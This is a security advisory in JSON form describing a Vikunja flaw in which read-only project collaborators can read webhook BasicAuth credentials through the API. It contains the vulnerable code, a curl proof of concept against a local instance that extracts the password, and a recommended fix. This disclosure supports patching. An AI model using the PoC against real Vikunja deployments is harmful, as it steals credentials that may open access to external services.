{"schema_version":"1.9.0","id":"GHSA-7c2g-p23p-4jg3","published":"2026-03-25T21:17:28Z","modified":"2026-03-26T21:11:07.555748Z","aliases":["CVE-2026-33677","GO-2026-4846"],"summary":"Vikjuna: Webhook BasicAuth Credentials Exposed to Read-Only Project Collaborators via API","details":"## Summary\n\nThe `GET /api/v1/projects/:project/webhooks` endpoint returns webhook BasicAuth credentials (`basic_auth_user` and `basic_auth_password`) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC `secret` field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.\n\n## Details\n\nWhen listing project webhooks, the `ReadAll` method in `pkg/models/webhooks.go` (line 203) only requires project read access:\n\n```go\n// pkg/models/webhooks.go:203-244\nfunc (w *Webhook) ReadAll(s *xorm.Session, a web.Auth, _ string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) {\n\tp := &Project{ID: w.ProjectID}\n\tcan, _, err := p.CanRead(s, a)  // Only requires read permission\n\tif err != nil {\n\t\treturn nil, 0, 0, err\n\t}\n\tif !can {\n\t\treturn nil, 0, 0, ErrGenericForbidden{}\n\t}\n\n\t// ... fetches webhooks from DB ...\n\n\tfor _, webhook := range ws {\n\t\twebhook.Secret = \"\"  // HMAC secret is masked\n\t\t// BasicAuthUser and BasicAuthPassword are NOT masked\n\t\tif createdBy, has := users[webhook.CreatedByID]; has {\n\t\t\twebhook.CreatedBy = createdBy\n\t\t}\n\t}\n\n\treturn ws, len(ws), total, err\n}\n```\n\nThe `Webhook` struct defines both fields with JSON serialization tags, so they are included in API responses:\n\n```go\n// pkg/models/webhooks.go:63-64\nBasicAuthUser     string `xorm:\"null\" json:\"basic_auth_user\"`\nBasicAuthPassword string `xorm:\"null\" json:\"basic_auth_password\"`\n```\n\nThe BasicAuth fields were added in migration `20260123000717` (\"Add basic auth to webhooks\"), but the credential masking logic at line 238 was not updated to include these new fields.\n\nThe same issue exists in the user webhook listing at `pkg/routes/api/v1/user_webhooks.go:65`, where `Secret` is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.\n\n## PoC\n\n1. **As User A (project admin)**, create a project and a webhook with BasicAuth credentials:\n\n```bash\n# Create a webhook with BasicAuth on project 1\ncurl -X PUT \"http://localhost:3456/api/v1/projects/1/webhooks\" \\\n  -H \"Authorization: Bearer $TOKEN_A\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"target_url\": \"https://external-service.example.com/hook\",\n    \"events\": [\"task.created\"],\n    \"secret\": \"my-hmac-secret\",\n    \"basic_auth_user\": \"service-account\",\n    \"basic_auth_password\": \"S3cretP@ssw0rd!\"\n  }'\n```\n\n2. **As User B (read-only collaborator on the same project)**, list webhooks:\n\n```bash\ncurl -s \"http://localhost:3456/api/v1/projects/1/webhooks\" \\\n  -H \"Authorization: Bearer $TOKEN_B\" | jq '.[0] | {secret, basic_auth_user, basic_auth_password}'\n```\n\n3. **Expected output** (secret is masked, but BasicAuth is leaked):\n\n```json\n{\n  \"secret\": \"\",\n  \"basic_auth_user\": \"service-account\",\n  \"basic_auth_password\": \"S3cretP@ssw0rd!\"\n}\n```\n\n## Impact\n\n- **Credential theft**: Any user with read-only access to a project can steal BasicAuth credentials configured on that project's webhooks. These credentials may grant access to external services (CI/CD systems, notification endpoints, third-party APIs).\n- **Lateral movement**: Stolen credentials could be reused to authenticate against external systems that the webhook receiver protects.\n- **Broad exposure surface**: Credentials are exposed to all project readers, including users granted access through team shares and link shares (with read+ permission level).\n\n## Recommended Fix\n\nIn `pkg/models/webhooks.go`, add masking for BasicAuth fields alongside the existing `Secret` masking (around line 237):\n\n```go\nfor _, webhook := range ws {\n\twebhook.Secret = \"\"\n\twebhook.BasicAuthUser = \"\"\n\twebhook.BasicAuthPassword = \"\"\n\tif createdBy, has := users[webhook.CreatedByID]; has {\n\t\twebhook.CreatedBy = createdBy\n\t}\n}\n```\n\nApply the same fix in `pkg/routes/api/v1/user_webhooks.go` (around line 64):\n\n```go\nfor _, w := range ws {\n\tw.Secret = \"\"\n\tw.BasicAuthUser = \"\"\n\tw.BasicAuthPassword = \"\"\n\tif createdBy, has := users[w.CreatedByID]; has {\n\t\tw.CreatedBy = createdBy\n\t}\n}\n```","affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-7c2g-p23p-4jg3/GHSA-7c2g-p23p-4jg3.json"}}],"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-7c2g-p23p-4jg3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33677"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://vikunja.io/changelog/vikunja-v2.2.2-was-released"}],"database_specific":{"cwe_ids":["CWE-200"],"github_reviewed":true,"github_reviewed_at":"2026-03-25T21:17:28Z","nvd_published_at":"2026-03-24T16:16:35Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}